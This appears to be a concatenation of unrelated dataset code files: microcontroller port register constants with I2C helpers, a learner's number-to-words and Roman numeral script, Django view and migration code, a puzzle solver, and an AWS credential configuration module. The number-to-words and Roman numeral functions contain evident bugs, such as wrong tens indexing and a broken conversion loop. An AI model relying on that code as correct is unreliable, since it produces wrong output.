PORT_D_PINCFG14_ADDR = PORT_D_BASE_ADDR + 0x02E
PORT_D_PINCFG15_ADDR = PORT_D_BASE_ADDR + 0x02F
PORT_D_PINCFG16_ADDR = PORT_D_BASE_ADDR + 0x030
PORT_D_PINCFG17_ADDR = PORT_D_BASE_ADDR + 0x031
PORT_D_PINCFG18_ADDR = PORT_D_BASE_ADDR + 0x032
PORT_D_PINCFG19_ADDR = PORT_D_BASE_ADDR + 0x033
PORT_D_PINCFG20_ADDR = PORT_D_BASE_ADDR + 0x034
PORT_D_PINCFG21_ADDR = PORT_D_BASE_ADDR + 0x035
PORT_D_PINCFG22_ADDR = PORT_D_BASE_ADDR + 0x036
PORT_D_PINCFG23_ADDR = PORT_D_BASE_ADDR + 0x037
PORT_D_PINCFG24_ADDR = PORT_D_BASE_ADDR + 0x038
PORT_D_PINCFG25_ADDR = PORT_D_BASE_ADDR + 0x039
PORT_D_PINCFG26_ADDR = PORT_D_BASE_ADDR + 0x03A
PORT_D_PINCFG27_ADDR = PORT_D_BASE_ADDR + 0x03B
PORT_D_PINCFG28_ADDR = PORT_D_BASE_ADDR + 0x03C
PORT_D_PINCFG29_ADDR = PORT_D_BASE_ADDR + 0x03D
PORT_D_PINCFG30_ADDR = PORT_D_BASE_ADDR + 0x03E
PORT_D_PINCFG31_ADDR = PORT_D_BASE_ADDR + 0x03F
PORT_E_BASE_ADDR = 0x0C0
PORT_E_DIR_ADDR = PORT_E_BASE_ADDR + 0x000
PORT_E_DIRCLR_ADDR = PORT_E_BASE_ADDR + 0x001
PORT_E_DIRSET_ADDR = PORT_E_BASE_ADDR + 0x002
PORT_E_DIRTGL_ADDR = PORT_E_BASE_ADDR + 0x003
PORT_E_OUT_ADDR = PORT_E_BASE_ADDR + 0x004
PORT_E_OUTCLR_ADDR = PORT_E_BASE_ADDR + 0x005
PORT_E_OUTSET_ADDR = PORT_E_BASE_ADDR + 0x006
PORT_E_OUTTGL_ADDR = PORT_E_BASE_ADDR + 0x007
PORT_E_IN_ADDR = PORT_E_BASE_ADDR + 0x008
PORT_E_CTRL_ADDR = PORT_E_BASE_ADDR + 0x009
PORT_E_WRCONFIG_ADDR = PORT_E_BASE_ADDR + 0x00A
PORT_E_EVCTRL_ADDR = PORT_E_BASE_ADDR + 0x00B
PORT_E_PMUXEN_ADDR = PORT_E_BASE_ADDR + 0x00C
PORT_E_PMUXENCLR_ADDR = PORT_E_BASE_ADDR + 0x00D
PORT_E_PMUXENSET_ADDR = PORT_E_BASE_ADDR + 0x00E
PORT_E_PMUXENTGL_ADDR = PORT_E_BASE_ADDR + 0x00F
PORT_E_PINMUX00_ADDR = PORT_E_BASE_ADDR + 0x010
PORT_E_PINMUX01_ADDR = PORT_E_BASE_ADDR + 0x011
PORT_E_PINMUX02_ADDR = PORT_E_BASE_ADDR + 0x012
PORT_E_PINMUX03_ADDR = PORT_E_BASE_ADDR + 0x013
PORT_E_PINMUX04_ADDR = PORT_E_BASE_ADDR + 0x014
PORT_E_PINMUX05_ADDR = PORT_E_BASE_ADDR + 0x015
PORT_E_PINMUX06_ADDR = PORT_E_BASE_ADDR + 0x016
PORT_E_PINMUX07_ADDR = PORT_E_BASE_ADDR + 0x017
PORT_E_PINMUX08_ADDR = PORT_E_BASE_ADDR + 0x018
PORT_E_PINMUX09_ADDR = PORT_E_BASE_ADDR + 0x019
PORT_E_PINMUX10_ADDR = PORT_E_BASE_ADDR + 0x01A
PORT_E_PINMUX11_ADDR = PORT_E_BASE_ADDR + 0x01B
PORT_E_PINMUX12_ADDR = PORT_E_BASE_ADDR + 0x01C
PORT_E_PINMUX13_ADDR = PORT_E_BASE_ADDR + 0x01D
PORT_E_PINMUX14_ADDR = PORT_E_BASE_ADDR + 0x01E
PORT_E_PINMUX15_ADDR = PORT_E_BASE_ADDR + 0x01F
PORT_E_PINCFG00_ADDR = PORT_E_BASE_ADDR + 0x020
PORT_E_PINCFG01_ADDR = PORT_E_BASE_ADDR + 0x021
PORT_E_PINCFG02_ADDR = PORT_E_BASE_ADDR + 0x022
PORT_E_PINCFG03_ADDR = PORT_E_BASE_ADDR + 0x023
PORT_E_PINCFG04_ADDR = PORT_E_BASE_ADDR + 0x024
PORT_E_PINCFG05_ADDR = PORT_E_BASE_ADDR + 0x025
PORT_E_PINCFG06_ADDR = PORT_E_BASE_ADDR + 0x026
PORT_E_PINCFG07_ADDR = PORT_E_BASE_ADDR + 0x027
PORT_E_PINCFG08_ADDR = PORT_E_BASE_ADDR + 0x028
PORT_E_PINCFG09_ADDR = PORT_E_BASE_ADDR + 0x029
PORT_E_PINCFG10_ADDR = PORT_E_BASE_ADDR + 0x02A
PORT_E_PINCFG11_ADDR = PORT_E_BASE_ADDR + 0x02B
PORT_E_PINCFG12_ADDR = PORT_E_BASE_ADDR + 0x02C
PORT_E_PINCFG13_ADDR = PORT_E_BASE_ADDR + 0x02D
PORT_E_PINCFG14_ADDR = PORT_E_BASE_ADDR + 0x02E
PORT_E_PINCFG15_ADDR = PORT_E_BASE_ADDR + 0x02F
PORT_E_PINCFG16_ADDR = PORT_E_BASE_ADDR + 0x030
PORT_E_PINCFG17_ADDR = PORT_E_BASE_ADDR + 0x031
PORT_E_PINCFG18_ADDR = PORT_E_BASE_ADDR + 0x032
PORT_E_PINCFG19_ADDR = PORT_E_BASE_ADDR + 0x033
PORT_E_PINCFG20_ADDR = PORT_E_BASE_ADDR + 0x034
PORT_E_PINCFG21_ADDR = PORT_E_BASE_ADDR + 0x035
PORT_E_PINCFG22_ADDR = PORT_E_BASE_ADDR + 0x036
PORT_E_PINCFG23_ADDR = PORT_E_BASE_ADDR + 0x037
PORT_E_PINCFG24_ADDR = PORT_E_BASE_ADDR + 0x038
PORT_E_PINCFG25_ADDR = PORT_E_BASE_ADDR + 0x039
PORT_E_PINCFG26_ADDR = PORT_E_BASE_ADDR + 0x03A
PORT_E_PINCFG27_ADDR = PORT_E_BASE_ADDR + 0x03B
PORT_E_PINCFG28_ADDR = PORT_E_BASE_ADDR + 0x03C
PORT_E_PINCFG29_ADDR = PORT_E_BASE_ADDR + 0x03D
PORT_E_PINCFG30_ADDR = PORT_E_BASE_ADDR + 0x03E
PORT_E_PINCFG31_ADDR = PORT_E_BASE_ADDR + 0x03F
PORT_F_BASE_ADDR = 0x100
PORT_F_DIR_ADDR = PORT_F_BASE_ADDR + 0x000
PORT_F_DIRCLR_ADDR = PORT_F_BASE_ADDR + 0x001
PORT_F_DIRSET_ADDR = PORT_F_BASE_ADDR + 0x002
PORT_F_DIRTGL_ADDR = PORT_F_BASE_ADDR + 0x003
PORT_F_OUT_ADDR = PORT_F_BASE_ADDR + 0x004
PORT_F_OUTCLR_ADDR = PORT_F_BASE_ADDR + 0x005
PORT_F_OUTSET_ADDR = PORT_F_BASE_ADDR + 0x006
PORT_F_OUTTGL_ADDR = PORT_F_BASE_ADDR + 0x007
PORT_F_IN_ADDR = PORT_F_BASE_ADDR + 0x008
PORT_F_CTRL_ADDR = PORT_F_BASE_ADDR + 0x009
PORT_F_WRCONFIG_ADDR = PORT_F_BASE_ADDR + 0x00A
PORT_F_EVCTRL_ADDR = PORT_F_BASE_ADDR + 0x00B
PORT_F_PMUXEN_ADDR = PORT_F_BASE_ADDR + 0x00C
PORT_F_PMUXENCLR_ADDR = PORT_F_BASE_ADDR + 0x00D
PORT_F_PMUXENSET_ADDR = PORT_F_BASE_ADDR + 0x00E
PORT_F_PMUXENTGL_ADDR = PORT_F_BASE_ADDR + 0x00F
PORT_F_PINMUX00_ADDR = PORT_F_BASE_ADDR + 0x010
PORT_F_PINMUX01_ADDR = PORT_F_BASE_ADDR + 0x011
PORT_F_PINMUX02_ADDR = PORT_F_BASE_ADDR + 0x012
PORT_F_PINMUX03_ADDR = PORT_F_BASE_ADDR + 0x013
PORT_F_PINMUX04_ADDR = PORT_F_BASE_ADDR + 0x014
PORT_F_PINMUX05_ADDR = PORT_F_BASE_ADDR + 0x015
PORT_F_PINMUX06_ADDR = PORT_F_BASE_ADDR + 0x016
PORT_F_PINMUX07_ADDR = PORT_F_BASE_ADDR + 0x017
PORT_F_PINMUX08_ADDR = PORT_F_BASE_ADDR + 0x018
PORT_F_PINMUX09_ADDR = PORT_F_BASE_ADDR + 0x019
PORT_F_PINMUX10_ADDR = PORT_F_BASE_ADDR + 0x01A
PORT_F_PINMUX11_ADDR = PORT_F_BASE_ADDR + 0x01B
PORT_F_PINMUX12_ADDR = PORT_F_BASE_ADDR + 0x01C
PORT_F_PINMUX13_ADDR = PORT_F_BASE_ADDR + 0x01D
PORT_F_PINMUX14_ADDR = PORT_F_BASE_ADDR + 0x01E
PORT_F_PINMUX15_ADDR = PORT_F_BASE_ADDR + 0x01F
PORT_F_PINCFG00_ADDR = PORT_F_BASE_ADDR + 0x020
PORT_F_PINCFG01_ADDR = PORT_F_BASE_ADDR + 0x021
PORT_F_PINCFG02_ADDR = PORT_F_BASE_ADDR + 0x022
PORT_F_PINCFG03_ADDR = PORT_F_BASE_ADDR + 0x023
PORT_F_PINCFG04_ADDR = PORT_F_BASE_ADDR + 0x024
PORT_F_PINCFG05_ADDR = PORT_F_BASE_ADDR + 0x025
PORT_F_PINCFG06_ADDR = PORT_F_BASE_ADDR + 0x026
PORT_F_PINCFG07_ADDR = PORT_F_BASE_ADDR + 0x027
PORT_F_PINCFG08_ADDR = PORT_F_BASE_ADDR + 0x028
PORT_F_PINCFG09_ADDR = PORT_F_BASE_ADDR + 0x029
PORT_F_PINCFG10_ADDR = PORT_F_BASE_ADDR + 0x02A
PORT_F_PINCFG11_ADDR = PORT_F_BASE_ADDR + 0x02B
PORT_F_PINCFG12_ADDR = PORT_F_BASE_ADDR + 0x02C
PORT_F_PINCFG13_ADDR = PORT_F_BASE_ADDR + 0x02D
PORT_F_PINCFG14_ADDR = PORT_F_BASE_ADDR + 0x02E
PORT_F_PINCFG15_ADDR = PORT_F_BASE_ADDR + 0x02F
PORT_F_PINCFG16_ADDR = PORT_F_BASE_ADDR + 0x030
PORT_F_PINCFG17_ADDR = PORT_F_BASE_ADDR + 0x031
PORT_F_PINCFG18_ADDR = PORT_F_BASE_ADDR + 0x032
PORT_F_PINCFG19_ADDR = PORT_F_BASE_ADDR + 0x033
PORT_F_PINCFG20_ADDR = PORT_F_BASE_ADDR + 0x034
PORT_F_PINCFG21_ADDR = PORT_F_BASE_ADDR + 0x035
PORT_F_PINCFG22_ADDR = PORT_F_BASE_ADDR + 0x036
PORT_F_PINCFG23_ADDR = PORT_F_BASE_ADDR + 0x037
PORT_F_PINCFG24_ADDR = PORT_F_BASE_ADDR + 0x038
PORT_F_PINCFG25_ADDR = PORT_F_BASE_ADDR + 0x039
PORT_F_PINCFG26_ADDR = PORT_F_BASE_ADDR + 0x03A
PORT_F_PINCFG27_ADDR = PORT_F_BASE_ADDR + 0x03B
PORT_F_PINCFG28_ADDR = PORT_F_BASE_ADDR + 0x03C
PORT_F_PINCFG29_ADDR = PORT_F_BASE_ADDR + 0x03D
PORT_F_PINCFG30_ADDR = PORT_F_BASE_ADDR + 0x03E
PORT_F_PINCFG31_ADDR = PORT_F_BASE_ADDR + 0x03F
PORT_G_BASE_ADDR = 0x140
PORT_G_DIR_ADDR = PORT_G_BASE_ADDR + 0x000
PORT_G_DIRCLR_ADDR = PORT_G_BASE_ADDR + 0x001
PORT_G_DIRSET_ADDR = PORT_G_BASE_ADDR + 0x002
PORT_G_DIRTGL_ADDR = PORT_G_BASE_ADDR + 0x003
PORT_G_OUT_ADDR = PORT_G_BASE_ADDR + 0x004
PORT_G_OUTCLR_ADDR = PORT_G_BASE_ADDR + 0x005
PORT_G_OUTSET_ADDR = PORT_G_BASE_ADDR + 0x006
PORT_G_OUTTGL_ADDR = PORT_G_BASE_ADDR + 0x007
PORT_G_IN_ADDR = PORT_G_BASE_ADDR + 0x008
PORT_G_CTRL_ADDR = PORT_G_BASE_ADDR + 0x009
PORT_G_WRCONFIG_ADDR = PORT_G_BASE_ADDR + 0x00A
PORT_G_EVCTRL_ADDR = PORT_G_BASE_ADDR + 0x00B
PORT_G_PMUXEN_ADDR = PORT_G_BASE_ADDR + 0x00C
PORT_G_PMUXENCLR_ADDR = PORT_G_BASE_ADDR + 0x00D
PORT_G_PMUXENSET_ADDR = PORT_G_BASE_ADDR + 0x00E
PORT_G_PMUXENTGL_ADDR = PORT_G_BASE_ADDR + 0x00F
PORT_G_PINMUX00_ADDR = PORT_G_BASE_ADDR + 0x010
PORT_G_PINMUX01_ADDR = PORT_G_BASE_ADDR + 0x011
PORT_G_PINMUX02_ADDR = PORT_G_BASE_ADDR + 0x012
PORT_G_PINMUX03_ADDR = PORT_G_BASE_ADDR + 0x013
PORT_G_PINMUX04_ADDR = PORT_G_BASE_ADDR + 0x014
PORT_G_PINMUX05_ADDR = PORT_G_BASE_ADDR + 0x015
PORT_G_PINMUX06_ADDR = PORT_G_BASE_ADDR + 0x016
PORT_G_PINMUX07_ADDR = PORT_G_BASE_ADDR + 0x017
PORT_G_PINMUX08_ADDR = PORT_G_BASE_ADDR + 0x018
PORT_G_PINMUX09_ADDR = PORT_G_BASE_ADDR + 0x019
PORT_G_PINMUX10_ADDR = PORT_G_BASE_ADDR + 0x01A
PORT_G_PINMUX11_ADDR = PORT_G_BASE_ADDR + 0x01B
PORT_G_PINMUX12_ADDR = PORT_G_BASE_ADDR + 0x01C
PORT_G_PINMUX13_ADDR = PORT_G_BASE_ADDR + 0x01D
PORT_G_PINMUX14_ADDR = PORT_G_BASE_ADDR + 0x01E
PORT_G_PINMUX15_ADDR = PORT_G_BASE_ADDR + 0x01F
PORT_G_PINCFG00_ADDR = PORT_G_BASE_ADDR + 0x020
PORT_G_PINCFG01_ADDR = PORT_G_BASE_ADDR + 0x021
PORT_G_PINCFG02_ADDR = PORT_G_BASE_ADDR + 0x022
PORT_G_PINCFG03_ADDR = PORT_G_BASE_ADDR + 0x023
PORT_G_PINCFG04_ADDR = PORT_G_BASE_ADDR + 0x024
PORT_G_PINCFG05_ADDR = PORT_G_BASE_ADDR + 0x025
PORT_G_PINCFG06_ADDR = PORT_G_BASE_ADDR + 0x026
PORT_G_PINCFG07_ADDR = PORT_G_BASE_ADDR + 0x027
PORT_G_PINCFG08_ADDR = PORT_G_BASE_ADDR + 0x028
PORT_G_PINCFG09_ADDR = PORT_G_BASE_ADDR + 0x029
PORT_G_PINCFG10_ADDR = PORT_G_BASE_ADDR + 0x02A
PORT_G_PINCFG11_ADDR = PORT_G_BASE_ADDR + 0x02B
PORT_G_PINCFG12_ADDR = PORT_G_BASE_ADDR + 0x02C
PORT_G_PINCFG13_ADDR = PORT_G_BASE_ADDR + 0x02D
PORT_G_PINCFG14_ADDR = PORT_G_BASE_ADDR + 0x02E
PORT_G_PINCFG15_ADDR = PORT_G_BASE_ADDR + 0x02F
PORT_G_PINCFG16_ADDR = PORT_G_BASE_ADDR + 0x030
PORT_G_PINCFG17_ADDR = PORT_G_BASE_ADDR + 0x031
PORT_G_PINCFG18_ADDR = PORT_G_BASE_ADDR + 0x032
PORT_G_PINCFG19_ADDR = PORT_G_BASE_ADDR + 0x033
PORT_G_PINCFG20_ADDR = PORT_G_BASE_ADDR + 0x034
PORT_G_PINCFG21_ADDR = PORT_G_BASE_ADDR + 0x035
PORT_G_PINCFG22_ADDR = PORT_G_BASE_ADDR + 0x036
PORT_G_PINCFG23_ADDR = PORT_G_BASE_ADDR + 0x037
PORT_G_PINCFG24_ADDR = PORT_G_BASE_ADDR + 0x038
PORT_G_PINCFG25_ADDR = PORT_G_BASE_ADDR + 0x039
PORT_G_PINCFG26_ADDR = PORT_G_BASE_ADDR + 0x03A
PORT_G_PINCFG27_ADDR = PORT_G_BASE_ADDR + 0x03B
PORT_G_PINCFG28_ADDR = PORT_G_BASE_ADDR + 0x03C
PORT_G_PINCFG29_ADDR = PORT_G_BASE_ADDR + 0x03D
PORT_G_PINCFG30_ADDR = PORT_G_BASE_ADDR + 0x03E
PORT_G_PINCFG31_ADDR = PORT_G_BASE_ADDR + 0x03F
PORT_Z_BASE_ADDR = 0x180
PORT_Z_DIR_ADDR = PORT_Z_BASE_ADDR + 0x000
PORT_Z_DIRCLR_ADDR = PORT_Z_BASE_ADDR + 0x001
PORT_Z_DIRSET_ADDR = PORT_Z_BASE_ADDR + 0x002
PORT_Z_DIRTGL_ADDR = PORT_Z_BASE_ADDR + 0x003
PORT_Z_OUT_ADDR = PORT_Z_BASE_ADDR + 0x004
PORT_Z_OUTCLR_ADDR = PORT_Z_BASE_ADDR + 0x005
PORT_Z_OUTSET_ADDR = PORT_Z_BASE_ADDR + 0x006
PORT_Z_OUTTGL_ADDR = PORT_Z_BASE_ADDR + 0x007
PORT_Z_IN_ADDR = PORT_Z_BASE_ADDR + 0x008
PORT_Z_CTRL_ADDR = PORT_Z_BASE_ADDR + 0x009
PORT_Z_WRCONFIG_ADDR = PORT_Z_BASE_ADDR + 0x00A
PORT_Z_EVCTRL_ADDR = PORT_Z_BASE_ADDR + 0x00B
PORT_Z_PMUXEN_ADDR = PORT_Z_BASE_ADDR + 0x00C
PORT_Z_PMUXENCLR_ADDR = PORT_Z_BASE_ADDR + 0x00D
PORT_Z_PMUXENSET_ADDR = PORT_Z_BASE_ADDR + 0x00E
PORT_Z_PMUXENTGL_ADDR = PORT_Z_BASE_ADDR + 0x00F
PORT_Z_PINMUX00_ADDR = PORT_Z_BASE_ADDR + 0x010
PORT_Z_PINMUX01_ADDR = PORT_Z_BASE_ADDR + 0x011
PORT_Z_PINMUX02_ADDR = PORT_Z_BASE_ADDR + 0x012
PORT_Z_PINMUX03_ADDR = PORT_Z_BASE_ADDR + 0x013
PORT_Z_PINMUX04_ADDR = PORT_Z_BASE_ADDR + 0x014
PORT_Z_PINMUX05_ADDR = PORT_Z_BASE_ADDR + 0x015
PORT_Z_PINMUX06_ADDR = PORT_Z_BASE_ADDR + 0x016
PORT_Z_PINMUX07_ADDR = PORT_Z_BASE_ADDR + 0x017
PORT_Z_PINMUX08_ADDR = PORT_Z_BASE_ADDR + 0x018
PORT_Z_PINMUX09_ADDR = PORT_Z_BASE_ADDR + 0x019
PORT_Z_PINMUX10_ADDR = PORT_Z_BASE_ADDR + 0x01A
PORT_Z_PINMUX11_ADDR = PORT_Z_BASE_ADDR + 0x01B
PORT_Z_PINMUX12_ADDR = PORT_Z_BASE_ADDR + 0x01C
PORT_Z_PINMUX13_ADDR = PORT_Z_BASE_ADDR + 0x01D
PORT_Z_PINMUX14_ADDR = PORT_Z_BASE_ADDR + 0x01E
PORT_Z_PINMUX15_ADDR = PORT_Z_BASE_ADDR + 0x01F
PORT_Z_PINCFG00_ADDR = PORT_Z_BASE_ADDR + 0x020
PORT_Z_PINCFG01_ADDR = PORT_Z_BASE_ADDR + 0x021
PORT_Z_PINCFG02_ADDR = PORT_Z_BASE_ADDR + 0x022
PORT_Z_PINCFG03_ADDR = PORT_Z_BASE_ADDR + 0x023
PORT_Z_PINCFG04_ADDR = PORT_Z_BASE_ADDR + 0x024
PORT_Z_PINCFG05_ADDR = PORT_Z_BASE_ADDR + 0x025
PORT_Z_PINCFG06_ADDR = PORT_Z_BASE_ADDR + 0x026
PORT_Z_PINCFG07_ADDR = PORT_Z_BASE_ADDR + 0x027
PORT_Z_PINCFG08_ADDR = PORT_Z_BASE_ADDR + 0x028
PORT_Z_PINCFG09_ADDR = PORT_Z_BASE_ADDR + 0x029
PORT_Z_PINCFG10_ADDR = PORT_Z_BASE_ADDR + 0x02A
PORT_Z_PINCFG11_ADDR = PORT_Z_BASE_ADDR + 0x02B
PORT_Z_PINCFG12_ADDR = PORT_Z_BASE_ADDR + 0x02C
PORT_Z_PINCFG13_ADDR = PORT_Z_BASE_ADDR + 0x02D
PORT_Z_PINCFG14_ADDR = PORT_Z_BASE_ADDR + 0x02E
PORT_Z_PINCFG15_ADDR = PORT_Z_BASE_ADDR + 0x02F
PORT_Z_PINCFG16_ADDR = PORT_Z_BASE_ADDR + 0x030
PORT_Z_PINCFG17_ADDR = PORT_Z_BASE_ADDR + 0x031
PORT_Z_PINCFG18_ADDR = PORT_Z_BASE_ADDR + 0x032
PORT_Z_PINCFG19_ADDR = PORT_Z_BASE_ADDR + 0x033
PORT_Z_PINCFG20_ADDR = PORT_Z_BASE_ADDR + 0x034
PORT_Z_PINCFG21_ADDR = PORT_Z_BASE_ADDR + 0x035
PORT_Z_PINCFG22_ADDR = PORT_Z_BASE_ADDR + 0x036
PORT_Z_PINCFG23_ADDR = PORT_Z_BASE_ADDR + 0x037
PORT_Z_PINCFG24_ADDR = PORT_Z_BASE_ADDR + 0x038
PORT_Z_PINCFG25_ADDR = PORT_Z_BASE_ADDR + 0x039
PORT_Z_PINCFG26_ADDR = PORT_Z_BASE_ADDR + 0x03A
PORT_Z_PINCFG27_ADDR = PORT_Z_BASE_ADDR + 0x03B
PORT_Z_PINCFG28_ADDR = PORT_Z_BASE_ADDR + 0x03C
PORT_Z_PINCFG29_ADDR = PORT_Z_BASE_ADDR + 0x03D
PORT_Z_PINCFG30_ADDR = PORT_Z_BASE_ADDR + 0x03E
PORT_Z_PINCFG31_ADDR = PORT_Z_BASE_ADDR + 0x03F
# Initialize I2C
i2c1 = busio.I2C(board.SCL_1, board.SDA_1, frequency=100000)
while not i2c1.try_lock():
pass
_buffer = bytearray(4)
def send_evo_write_trans(addr, data):
# Write to the Evo address
struct.pack_into("<I", _buffer, 0, addr)
i2c1.writeto(0x08, bytes([0x20 | _buffer[1], _buffer[0], data[0], data[1], data[2], data[3]]), stop=False)
def send_evo_read_trans(addr):
result = bytearray(4)
struct.pack_into("<I", _buffer, 0, addr)
# Write a read request for the Evo address
i2c1.writeto(0x08, bytes([0x20 | _buffer[1], _buffer[0]]), stop=False)
# Read the requested data back
i2c1.readfrom_into(0x08, result)
return result |
990,110 | 88c476542e5b32d3c3b260ca71d521ba85fdc18a | from huepy import *
# Define the dict of numbers in text form
singles = {1: 'One', 2: 'Two', 3: 'Three', 4: 'Four', 5: 'Five', 6: 'Six', \
7: 'Seven', 8: 'Eight', 9: 'Nine'}
teens = {10: 'Ten', 11: 'Eleven', 12: 'Twelve', 13: 'Thirteen', 14: 'Fourteen', \
15: 'Fifteen', 16: 'Sixteen', 17: 'Seventeen', 18: 'Eighteen', 19: 'Nineteen'}
tens = ['Twenty', 'Thirty', 'Forty', 'Fifty', 'Sixty', 'Seventy', 'Eighty', 'Ninety']
def _main_():
""" Takes a number, calls functions to convert it to text, then prints the text """
while True:
num = input("Please enter a number or done: ")
if num == "done":
print(bold(lightgreen("Thank You!")))
break
else:
try:
num = int(num)
if num < 0:
num = abs(num)
if num < 100:
print(f"Your number is negative {tens_text(num)}")
elif num < 1000:
print(f"Your number is negative {hundreds_text(num)}")
elif num == 0:
print("Your number is zero")
elif num < 100:
print(f"Your number is {tens_text(num)}")
elif num < 1000:
print(f"Your number is {hundreds_text(num)}")
except Exception:
print(info(bold("Not a valid input, try again")))
def tens_text(num):
""" Converts an number less than 100 to text """
if num < 10:
return singles[num]
elif num < 20:
return teens[num]
elif num < 100:
tens_digit = num // 10
singles_digit = num % 10
if singles_digit == 0:
return tens[tens_digit]
else:
return tens[tens_digit-2] + ' ' + singles[singles_digit]
def hundreds_text(num):
""" Converts a number between 100 and 1000 to text """
hundreds_digit = num // 100
tens_digit = num % 100
hundreds_text = singles[hundreds_digit] + ' ' + "Hundred"
return hundreds_text + ' ' + tens_text(tens_digit)
# TODO: Trying to grab the value from the dict and add it to the output string #idea
def num_to_roman(num):
""" Convert number to Roman numeral. """
value = [1000, 500, 100, 50, 10, 5, 1]
romans = ['M', 'D', 'C', 'L', 'X', 'V', 'I']
roman_num = ''
i = 0
while num > 0:
for _ in range(len(value)):
roman_num += romans[i]
num -= value[i]
i += 1
return roman_num
# _main_()
print(num_to_roman(1))
|
990,111 | b0d251daf0373e723d0453eae4e52be2a30f48ee | from django.shortcuts import render_to_response
def index(request):
return render_to_response('test_app/index.html', {})
|
990,112 | 05274130aecd18b128412d9b859b1445c979ffe7 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
from django.utils.timezone import utc
import datetime
class Migration(migrations.Migration):
dependencies = [
('core', '0005_auto_20150506_1504'),
]
operations = [
migrations.RenameField(
model_name='chcommunitypublicchat',
old_name='photo',
new_name='picture',
),
migrations.RenameField(
model_name='chprofile',
old_name='photo',
new_name='picture',
),
migrations.AddField(
model_name='chhivesubscription',
name='picture',
field=models.CharField(default='', max_length=200),
preserve_default=False,
),
migrations.AlterField(
model_name='chchat',
name='chat_id',
field=models.CharField(max_length=32, unique=True),
preserve_default=True,
),
]
|
990,113 | d37f4e26371e91756b40c94018d15396a8699284 | for chiken in range(0,20):
for rabbit in range(0,20):
if chiken * 2 + rabbit * 4 == 44 and chiken + rabbit == 19:
print('鸡的数量:',chiken,'\n兔的数量:',rabbit)
|
990,114 | 05fb7fb9609fb5bbe5eb24935f2332953cb48bc2 | import os
import json
import configparser
from secretwallet.constants import parameters, CONFIG_FILE, CREDENTIALS_FILE
from secretwallet.utils.fileutils import touch
from secretwallet.utils.cryptutils import encrypt_key
from secretwallet.utils.dbutils import create_table, has_table
from secretwallet.utils.password_manager import get_password
def has_configuration(config_file=CONFIG_FILE):
"""Checks if the configurations file CONFIG_FILE exists
input:
config_file a path to the configuration file
output:
Boolean indicating if the configuration file exists"""
return os.path.exists(config_file)
def has_credentials(credentials_file=CREDENTIALS_FILE):
"""Checks if the aws-credentials file CREDENIALS_FILE exists
input:
credentials_file a path to the credentials file
output:
Boolean indicating if the configturation file exists"""
return os.path.exists(credentials_file)
def set_credentials(config_file, access_key, secret_access_key,region):
"""make or update credentials
input:
config_file a path to the AWS configuration file
access_key the AWS access key
secret_access_key the secret access key
region the AWS region
"""
parser = configparser.ConfigParser()
if has_credentials(config_file):
parser.read(config_file)
else:
touch(config_file)
parser[parameters.get_profile_name()] = {'aws_access_key_id' : access_key,
'aws_secret_access_key': secret_access_key,
'region' : region}
with open(config_file, 'w') as f:
parser.write(f)
def get_credentials(config_file=CREDENTIALS_FILE):
"""Retrieves AWS credentials
input:
config_file a path to the AWS configuration file
output:
a dictionary with the AWS credentials
"""
parser = configparser.ConfigParser()
ret = {}
if has_credentials(config_file):
parser.read(config_file)
ret = parser[parameters.get_profile_name()]
return ret
def get_credentials_sections(config_file=CREDENTIALS_FILE):
"""Retrieves the AWS credentials sections
input:
config_file a path to the AWS configuration file
output:
a list of AWS credentials sections
"""
parser = configparser.ConfigParser()
ret = []
if has_credentials(config_file):
parser.read(config_file)
ret = parser.sections()
return ret
def get_configuration(config_file = CONFIG_FILE):
"""Read the configuration file and returns it as a dictionary
input:
config_file a path to the configuration file
output:
A data dictionary containing the configuration"""
if not os.path.exists(config_file):
raise FileNotFoundError("Missing configuration file: run the configuration script secret_wallet_conf")
with open(config_file, 'r') as cfile:
return json.load(cfile)
def list_configuration(config_file = CONFIG_FILE):
"""List the configuration parameters
input:
config_file a path to the configuration file
"""
conf = get_configuration(config_file)
display_configuration(config_file, 'secret wallet configuration is located', conf)
def set_configuration_data(conf_data, conf_file = CONFIG_FILE):
with open(conf_file, 'w') as cfile:
json.dump(conf_data, cfile)
def set_configuration(conf_key, profile = None, table = None, salt = None, config_file = CONFIG_FILE):
"""This writes the system configuration file with the specified overrides and the encrypted salt
If the configuration file exists, this function returns an error message, since reconfiguing the salt
requires changes to all the encripted information in the remote DB.
If the configuration already exists it should raise an error
input:
conf_key the encrypted configuration key
profile the override of the default profile (optionall)
table the override of the default table name (optional)
salt the override of the default pre-salt string
config_file the configuration file, defaults to fixed location in CONFIG_FILE
"""
if has_configuration(config_file) and has_table(table):
raise RuntimeError("Found pre-existing configuration in %s. To reconfigure the secretes use the reconf command"%config_file)
conf = {'key': conf_key}
if profile is not None:
conf['profile'] = profile
if table is not None:
conf['table_name'] = table
if salt is not None:
conf['salt'] = salt
os.makedirs(os.path.dirname(config_file), exist_ok=True)
set_configuration_data(conf, config_file)
def load_configurations(conf_file = CONFIG_FILE, credentials_file = CREDENTIALS_FILE):
"""
Loads the configuration and aws credentials
"""
try:
if not has_credentials(credentials_file):
raise FileNotFoundError("Missing configuration file: run the configuration script secret_wallet_conf")
if not has_configuration(conf_file):
raise FileNotFoundError("Missing configuration file: run the configuration script secret_wallet_conf")
parameters.set_data(get_configuration(conf_file))
except Exception as e:
print(e)
exit(1)
def display_configuration(conf_file, content, conf):
print(f"\nThe {content} at {conf_file}")
for k,v in conf.items():
if k=='key': continue
print(f'{k:30} = {v:<40}')
def make_configurations():
"Main configuration script"
print("\nMain configuration script for your secret wallet.")
print("Please press return to accept the pre-set values in square brackets, or type a new value:\n")
answ = input("\nDo you want to configure the AWS credentials? (yes|skip) ")
if answ.lower().startswith('y'):
profile = input('{0:30}[{1:>30}] = '.format('AWS profile name',parameters.get_profile_name()))
if len(profile) == 0:
profile = parameters.get_profile_name()
if has_credentials() and profile in get_credentials_sections():
print('The AWS profile {0} is already in use. Choose another or reconfigure'.format(profile))
exit(1)
parameters.set_profile_name(profile)
access_key = input('{0:30}[{1:>30}] = '.format('AWS access key id',''))
secret_access_key = input('{0:30}[{1:>30}] = '.format('AWS secret access key',''))
region = input('{0:30}[{1:>30}] = '.format('AWS region',''))
cred = {'aws access key id' : access_key,
'aws seceret access key': secret_access_key,
'aws region' : region}
display_configuration(CREDENTIALS_FILE, 'AWS credentials are located',cred)
answ = input("\nDo you want to set the credentials? (yes|skip|exit) ")
if answ.lower().startswith('y'):
set_credentials(CREDENTIALS_FILE, access_key, secret_access_key, region)
elif answ.lower().startswith('s'):
pass
else:
exit(1)
answ = input("\nDo you want to configure the the secret-wallet parameters? (yes|skip) ")
